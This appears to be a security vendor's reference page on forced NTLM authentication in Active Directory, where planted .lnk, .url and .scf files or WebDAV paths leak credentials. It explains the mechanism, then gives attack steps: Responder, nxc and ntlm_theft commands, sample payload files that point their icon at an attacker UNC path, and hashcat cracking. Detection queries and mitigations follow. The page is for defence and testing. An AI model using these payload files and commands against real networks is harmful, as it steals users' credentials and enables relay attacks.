1. Resources
  2. Identity Threats
  3. Active Directory

Forced Authentication via Files and WebDAV (.lnk, .scf, .url)

Also known as: SCF file attack, LNK icon NTLM leak, URL file NTLM theft, NTLM hash theft via files, WebDAV forced authentication

A file whose icon or content points to an attacker's server makes every user who views it authenticate there, leaking an NTLM response to crack or relay.

Platform
Active Directory
Impact
Medium
Last updated
Attack difficulty
Low
Detection difficulty
High
Privileges required: Any authenticated identity
Write access to a file share or folder that users browse, or a way to deliver a file to a user (email, download). A listener the victim's computer can reach.
What the attacker gains
The NetNTLM challenge response of each user who sees the file, for offline cracking, or a live authentication to relay to another service.
Threat groups
DarkHydrusDragonflyAPT3FIN6Salt TyphoonGroups that MITRE ATT&CK records using T1187, T1110.002.

How it works

Windows signs users in to network resources automatically. When a process opens a UNC path such as \\server\share\file, the SMB client connects to server and authenticates as the current user, with Kerberos if it can get a ticket for the name and with NTLM otherwise. The user is not asked. Forced authentication through files abuses that convenience: the attacker plants a file that causes some process on the victim's computer to open a path on a server the attacker runs.

The files fall into two groups, by what the victim has to do:

  • Browse to a folder. Windows Explorer loads the icon of every file it shows. A shortcut (.lnk) whose icon location is a UNC path, an internet shortcut (.url) with an IconFile or a file:// URL, and a shell command file (.scf) with an IconFile entry all make Explorer connect to the remote host as soon as the folder is displayed. No click is needed. Older variants (desktop.ini, autorun.inf, and .scf itself) no longer trigger on current Windows versions, while .lnk and .url still do.
  • Open a document. Office documents can reference a remote template, picture or stylesheet; HTML files can reference a remote image; media playlists can reference a remote stream. Opening the file makes the application fetch the resource. This is the form used in phishing, where it is known as template injection.

The origin of the authentication is a user's workstation, or a server where an indexing or preview process touches the file, rather than a server-side RPC service as in authentication coercion. The identity that leaks is the signed-in user, not a computer account.

The WebDAV path

If the SMB connection cannot be made, for example because TCP 445 is blocked on the way out, Windows falls back to WebDAV, an extension of HTTP that normally runs on TCP 80 and 443. The fallback, and any path written in WebDAV form (\\server@80\share\file), is handled by the WebClient service. Two consequences follow:

  • The authentication travels over HTTP and can leave networks that filter SMB.
  • HTTP clients do not request signing in their NTLM messages, so the authentication can be relayed to LDAP or LDAPS on a domain controller that does not enforce signing and channel binding. SMB-origin authentication cannot.

Windows sends credentials over HTTP automatically only to hosts it places in the intranet zone, so the listener must be addressed by a NetBIOS or DNS name, not an IP address. The WebClient service must be running on the victim's computer for any of this to happen.

What the attacker receives

A NetNTLMv1 or NetNTLMv2 challenge response. It is not the NT hash and cannot be replayed later, but it can be attacked in two ways: cracked offline to recover the password (offline password cracking), or relayed in real time to another service (SMB relay, NTLM relay to LDAP).

Prerequisites

  • A place to put the file where the intended victims will see it: a writable folder on a file share, a shared drive root, a public desktop, a ticketing or document system, or an email attachment or download.
  • A listener that the victims' computers can reach on TCP 445, or on TCP 80 for the WebDAV form.
  • For the WebDAV form: the WebClient service available on the victim's computer, and a listener name that the victim resolves and treats as an intranet host.
  • For cracking to work: a guessable password. For relaying to work: a target that accepts the relayed protocol without signing, channel binding or Extended Protection.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Start a listener

Responder runs rogue SMB and HTTP servers and writes each captured exchange to its logs directory:

sudo python3 Responder.py -I eth0 -v

To relay instead of capture, the listener is a relay tool; see the relay pages linked above.

2. Find a folder that people open

Any domain user can list the shares they can write to:

nxc smb 192.0.2.0/24 -u alice -p '<password>' --shares

Good locations are the top level of a department share, a scans or transfer folder, and anything an administrator or a service account is known to browse.

3. Create the files

ntlm_theft generates the whole family in one run. -s is the listener address and -f the base file name:

# Every supported type
python3 ntlm_theft.py -g all -s 192.0.2.50 -f quarterly-report

# Only the types that still trigger on current Windows
python3 ntlm_theft.py -g modern -s 192.0.2.50 -f quarterly-report

The files are simple enough to write by hand. An internet shortcut that leaks when the folder is viewed:

[InternetShortcut]
URL=https://intranet.corp.example.com/
WorkingDirectory=default
IconFile=\\192.0.2.50\share\icon.ico
IconIndex=1

A shell command file, for older systems:

[Shell]
Command=2
IconFile=\\192.0.2.50\share\icon.ico
[Taskbar]
Command=ToggleDesktop

For a .lnk, the UNC path goes in the shortcut's icon location field. For the WebDAV form, use a name and a port in place of the address, for example \\ATTACKER01@80\share\icon.ico.

4. Place the file and wait

Copy the file to the share. Every user whose Explorer window displays that folder authenticates to the listener, which prints the account name, the client address and the challenge response.

To check in advance which hosts already run WebClient and would authenticate over HTTP:

nxc smb 192.0.2.0/24 -u alice -p '<password>' -M webdav

5. Crack or relay

# NetNTLMv2 responses captured by Responder
hashcat -m 5600 captured-ntlmv2.txt wordlist.txt

A cracked password belongs to whoever browsed the folder. With relay, the same authentication is forwarded as it arrives and no cracking is needed.

Impact

Each victim's NetNTLM response is exposed. The result scales with the audience of the folder: a file at the root of a company-wide share collects responses from hundreds of users within a day, and sooner or later from a help desk technician or a server administrator. Weak passwords fall to cracking, which is plain credential theft. Privileged users whose authentication is relayed give the attacker a session on another server, or directory changes through LDAP, without any password being known.

In a phishing scenario the same technique works from outside the network when outbound SMB or WebDAV is allowed, and gives an external attacker a first set of domain credentials.

OPSEC and artifacts

  • No code runs on the victim. The file is a few lines of text or a shortcut, and what it triggers is a normal network connection by Explorer or an Office application. Endpoint products that look for malicious code have little to flag. The file itself remains: it sits on the share with its creator as owner and a creation time, and its content names the listener.
  • File names. Operators give the file an ordinary name and place it where it sorts to the top of the folder, since Explorer only loads icons for the entries it displays.
  • The file write. On a file server with Detailed File Share auditing, event 5145 records the access check for the new file with its relative name, the writing account and the client address. Object access auditing on the folder (event 4663) does the same where a SACL is set.
  • The outbound connection. Each victim's computer opens a connection to the listener on TCP 445 or 80. Host firewall logs, Windows Filtering Platform events 5156 and 5157, and network flow records show a workstation talking SMB to an address that is not a file server. For SMB the owning process is System; for WebDAV it is the WebClient service host.
  • Outgoing NTLM. With the Restrict NTLM audit policy for outgoing traffic, the victim's computer records event 8001 in the NTLM operational log with the target server name and the user.
  • Staying internal. A listener inside the network avoids the egress controls that catch SMB to the internet, but it is a host that suddenly receives SMB or HTTP connections from many workstations.
  • Nothing on the domain controller for a captured response: the authentication ends at the attacker's server and is never validated. A relayed authentication is different. It produces a logon (event 4624) at the relay target for the victim's account from the attacker's address.
  • Cracking is offline and leaves no trace.

Detection

The evidence is split between the place the file was written, the client that authenticated and, for relays, the receiving service.

  • Shortcut-type files appearing on shares. Alert on new .scf, .url, .lnk, .library-ms and .searchConnector-ms files in shared folders, especially at the root of a share and created by accounts that do not normally publish there. File server resource management tools can also block these extensions.
  • Content scanning. Search shares for .url and .scf files whose IconFile or URL value is a UNC path or a file:// URL to a host outside the file server list, and for .lnk files whose icon location is remote.
  • Workstations making SMB or WebDAV connections to non-servers. Outbound TCP 445 from client networks to anything other than file servers, domain controllers and print servers, and any outbound 445 to the internet.
  • Outgoing NTLM to unknown names in event 8001, and many different users authenticating to the same unfamiliar host in a short time.
  • Relay follow-on. The NTLM relay rules detect a user's logon arriving from an address that is not the user's computer. Clients that still answer with NTLMv1 make cracking trivial; the NTLMv1 rules find them.
// Shortcut-type files written to shares on file servers
SecurityEvent
| where EventID == 5145
| where RelativeTargetName endswith ".scf" or RelativeTargetName endswith ".url"
    or RelativeTargetName endswith ".library-ms" or RelativeTargetName endswith ".searchConnector-ms"
| project TimeGenerated, Computer, SubjectUserName, IpAddress, ShareName, RelativeTargetName, AccessMask
| order by TimeGenerated desc
// Outgoing NTLM audit events from workstations
WindowsEvent
| where Channel == "Microsoft-Windows-NTLM/Operational" and EventID == 8001
| project TimeGenerated, Computer, EventData
| order by TimeGenerated desc

Event 5145 fires for reads as well as writes, so decode the access mask or pair the result with a file creation record before treating a row as a new file. Legitimate .url and .lnk files are common; the remote icon path is what makes one suspicious.

Mitigation

  • Block SMB and WebDAV from leaving the network. Filter TCP 445 and 139 and UDP 137 at the perimeter, and restrict outbound WebDAV, so that a file opened from email cannot reach an external listener.
  • Stop workstations from talking SMB to each other and to arbitrary internal hosts. Host firewall rules that allow outbound TCP 445 only to file servers, domain controllers and print servers remove the internal listener.
  • Restrict outgoing NTLM. Set "Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers" to audit first, then deny with an exception list of servers that still need NTLM. The NTLMv1 guide covers the NTLM audit policies and removes the weakest response type.
  • Disable the WebClient service on servers and on workstations that do not use WebDAV. This removes the HTTP path and with it the relay to LDAP.
  • Protect the relay targets. Require SMB signing, enforce LDAP signing and channel binding, and enable Extended Protection for Authentication on HTTP services.
  • Put privileged accounts in Protected Users. Members cannot authenticate with NTLM, so browsing a poisoned folder leaks nothing usable for them. See the Protected Users guide.
  • Tighten share permissions. Remove write access for broad groups from share roots and common folders, and review who can create files where administrators browse.
  • Handle untrusted files as untrusted. Keep mark-of-the-web handling and attachment policy in place for files from email and the internet, and block shortcut-type attachments at the mail gateway.
  • Use long passwords. A captured response is only as weak as the password behind it.

Detection rules for this attack

Log events to collect

FAQ

How can a file steal an NTLM hash without being opened?

Shortcut-type files such as .lnk, .url and .scf can name a remote path for their icon. When Windows Explorer displays the folder, it fetches the icon, connects to the server named in the path and authenticates automatically as the signed-in user. The user only has to browse to the folder.

What does the attacker get?

Not the NT hash itself but a NetNTLM challenge response for the victim's account. It can be cracked offline if the password is weak, or the live authentication can be relayed to another server that does not require signing or channel binding. It cannot be used directly for Pass-the-Hash.

Why does WebDAV matter here?

When the path is in WebDAV form and the WebClient service is running, Windows authenticates over HTTP instead of SMB. HTTP authentication crosses firewalls that block TCP 445 and, unlike SMB authentication, can be relayed to LDAP on a domain controller that does not enforce signing and channel binding.

Which threat groups use this technique?

MITRE ATT&CK records DarkHydrus, which used template injection in documents, and Dragonfly, which used attachments with external resource links and modified shortcut icon paths to collect hashed credentials over SMB. These examples are the file-based form of forced authentication, not the RPC coercion interfaces.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.